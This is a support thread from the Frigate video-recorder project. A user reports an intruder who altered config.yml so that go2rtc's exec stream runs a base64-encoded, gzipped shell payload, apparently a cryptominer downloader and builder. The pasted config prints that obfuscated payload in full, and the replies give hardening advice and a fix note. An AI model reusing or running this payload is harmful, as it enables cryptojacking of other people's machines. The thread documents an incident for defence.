[Support]: Intruder modifies config.yml to download and run crypto mining inside the docker container #21897
-
Checklist
Describe the problem you are havingThere's an intruder that is somehow able to access my Frigate instance (it's behind a firewall, and the unauthenticated port 5000 denies access from off machine, so that's another issue I'm hunting down). The big problem is that they're able to modify the config.yml and restart frigate so that it executes a script which downloads xmrig from github, builds it (they've got it downloading the appropriate dependencies for both debian and alpine linux), and then executes it. In this instance, they're modifying the go2rtc, streams, debug tag to do: Though the access to the frigate instance is on me (still figuring that out, as I said), the system shouldn't accept this kind of scripting exploit. This is a security issue that should be carefully considered. I have the full unencrypted script they use in the exploit, if that's of interest. Steps to reproduce
Version"System page in the Web UI"? There doesn't seem to be one available, and the version doesn't show in the settings or logs. It's the most recent docker pull from 2026-02-05 In which browser(s) are you experiencing the issue with?No response Frigate config filego2rtc:
streams:
camera1: ffmpeg:http://(redacted)@192.168.(redacted):80/videostream.cgi?resolution=64#video=h264#hardware # <- use hardware acceleration to create an h264 stream usable for other components.
debug: exec:/bin/bash -c 'base64 -d<<<H4sIAAAAAAACA81YeW8btxL/2/sp5i0Ey2pBrVZXJBubQj4avbhOUtuokdR1QO1SEqu9THJl+epnf0PuSlk5CpwEfUXXsEFyOL85OJwZenB6MPQqO1lMIwYkqlnv3r79peHZNFNJ3W+lSRLWEzHZ7TXsPUNzPTviMVvS/CTadTv4FeRmwSpnt4a+uL3b7eJXkFuebZZllqaJUItIGIQWfrjjzdvDozPUJpRAAnDkrXQCNuc+k3qsWOTEScDMnx+g+VITnTgLQ3iAGx9IWNuzzoenR4NDxNiBys5EsBSID1epSBBEJgIcPXT8NOPxOFnHeADmTxNwa+BAE2oINnz7ZnByhGCGsMSLXLAjVCEE7TR7HXIPpolUmlBDraKgI7MIB36mUBGX9BD1d7ArxlIbVWbQgD9gexty2909ON73CkknLBrMKQ/pCLflUiIWGcUfQAn0kQ/VBulXDSi5Q9zjfTuHQ5TGHpzsG08c76NJbqPZ1lbB6dGvZtVIBHRkq9Ew5mrFThCATBiOcFuBdYIbvTGVS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leRJ/Qs9dtJRwC+T6Gkv5tot1IffjHOw8JjKBZSPKQsVT9LK+ztKGl9vNEgyPMQix/hc4RrdiDe3C6I5YHEit6Pk3CtEKK5ExXTYvUeLOU80xo2A+51LyeKI3b1Lp71Onpj28ZW3p+j3Ats8GD+z8Uhehr71rEhmRv0AlJwFJwOQ8c0jFLTXN0oIrcJEjmgUcm5G0tM1YTnFxcTfewE0OynsJZgHBU8zmUYrBHSuJZbAU/4WZJYki2gBa5ihv9suKFSLLl+YLfI+m2UH+5VULyjBS+EuHbbT/S8qU3Jvn5efdu/V/dOS3eVLfz03WOqZGfZFt6cDxZyzOCeZHXVVXvnQyKZwRj5281pGzNfv2v16o0XWFloPJdX8VCOTPyk6s28/aE199TTjlZnx9UOn750+xhYMfF1/DkM44LuRbLLSpqBNjsAtG+ynnPab0l0ZDwa51h2LpQyai8P6nzuVvT+XPNCaF9f/aBP98c/bNKuggLB9yRbefsF3UXLtinkZQydt8G1zDVFR67YxVV2AvD3vVy5xlvn7RQiXvcHPmLR0iOc81RghNedE8OZLO9UtV3wc0hoZOPOHxwlD102txm3cDGD87+qFFOFRdDnwMOxUMowzP7GMmOPz1wwbYGsacYCoTMbQbLXz0VZ8XhHYYgr6UGHHYJdZKipei90tKm+HnSssHavzyEVnzeyFVkOBjMqI83lsjloQU1OrzsjbpbVn3FuCXd3K7ukUzc/0NsJVU+IQH4uIje03m+v8vcuOTd1C9/IlmaupdHv9+hWX5R/3YLRBqK1hsWmNdxYu6rSv6ThFTuIaP5Sltdrqlfz0EVdAvabdmin5luCr4UPqWTnQu9RlfFod8aU7ZCb7rVFf4T3LSmlgT8N3GRl3+4Shc6fC4Gm1WPFfazZU2PfnjtvU/v2TspE0TAAA=|zcat|sh'
log:
exec: debug
cameras:
camera1:
enabled: true
detect:
enabled: true
ffmpeg:
inputs:
- path: rtsp://127.0.0.1:8554/camera1
roles:
- detect
- record
camera2:
enabled: true
detect:
enabled: true
ffmpeg:
inputs:
- path: rtsp://(redacted)/live/ch1
roles:
- detect
- path: rtsp://(redacted)/live/ch0
roles:
- record
healthy:
ui:
dashboard: false
ffmpeg:
inputs:
- path: rtsp://127.0.0.1:8554/debug
roles:
- record
- audio
- detect
audio:
enabled: true
detectors:
coral:
type: edgetpu
device: usb
record:
enabled: true
retain:
days: 14
mode: all
alerts:
retain:
days: 30
detections:
retain:
days: 30
ffmpeg:
hwaccel_args: preset-vaapi
version: 0.16-0
detect:
enabled: truedocker-compose file or Docker CLI commandservices:
frigate:
container_name: frigate
privileged: true # this may not be necessary for all setups
restart: unless-stopped
image: ghcr.io/blakeblackshear/frigate:stable
shm_size: "64mb" # update for your cameras based on calculation above
devices:
- /dev/bus/usb:/dev/bus/usb # Passes the USB Coral, needs to be modified for other versions
- /dev/dri/renderD128:/dev/dri/renderD128 # For intel hwaccel, needs to be updated for your hardware
volumes:
- /etc/localtime:/etc/localtime:ro
- /mnt/frigate/config:/config
- /media/frigate:/media/frigate
- type: tmpfs # Optional: 1GB of memory, reduces SSD/SD Card wear
target: /tmp/cache
tmpfs:
size: 1000000000
ports:
- "5000:5000"
- "8554:8554" # RTSP feeds
# - "8555:8555/tcp" # WebRTC over tcp
# - "8555:8555/udp" # WebRTC over udp
environment:
FRIGATE_RTSP_PASSWORD: "(redacted)"
LIBVA_DRIVER_NAME: i965Relevant Frigate log outputNo relevantRelevant go2rtc log outputNo relevantOperating systemDebian Install methodDocker Compose Network connectionWired Camera make and modelNot relevant Screenshots of the Frigate UI's System metrics pagesNot relevant (if needed, let me know and I'll add it) Any other information that may be helpfulNo response |
Beta Was this translation helpful? Give feedback.
Replies: 2 comments 1 reply
-
|
I understand your concern about this security issue. Let me address the immediate problems and provide guidance. Immediate Security IssuesYou've identified two critical security problems:
Recommended ActionsImmediately secure your installation:
ports:
- "5000:5000" # REMOVE THIS LINE
- "8554:8554"
ports:
- "8971:8971" # Authenticated UI and API access
- "8554:8554" # RTSP feeds
go2rtc:
rtsp:
username: "admin"
password: "your_secure_password"
streams:
# your streams here
auth:
enabled: True
reset_admin_password: False
About the Exploit MechanismThe The real vulnerabilities are:
Additional RecommendationsAfter securing the immediate issues:
The documentation explicitly warns about port 5000: "Access to this port should be limited."(1) This is the primary vector that likely allowed the attack. 📚 Sources: Have another question? Just tag @inkeep. |
Beta Was this translation helpful? Give feedback.
-
|
This has already been adjusted in 0.16.4 so it can't be done by default to use the exec function in the go2rtc config. Exposing without authentication is never recommended. |
Beta Was this translation helpful? Give feedback.
This has already been adjusted in 0.16.4 so it can't be done by default to use the exec function in the go2rtc config.
Exposing without authentication is never recommended.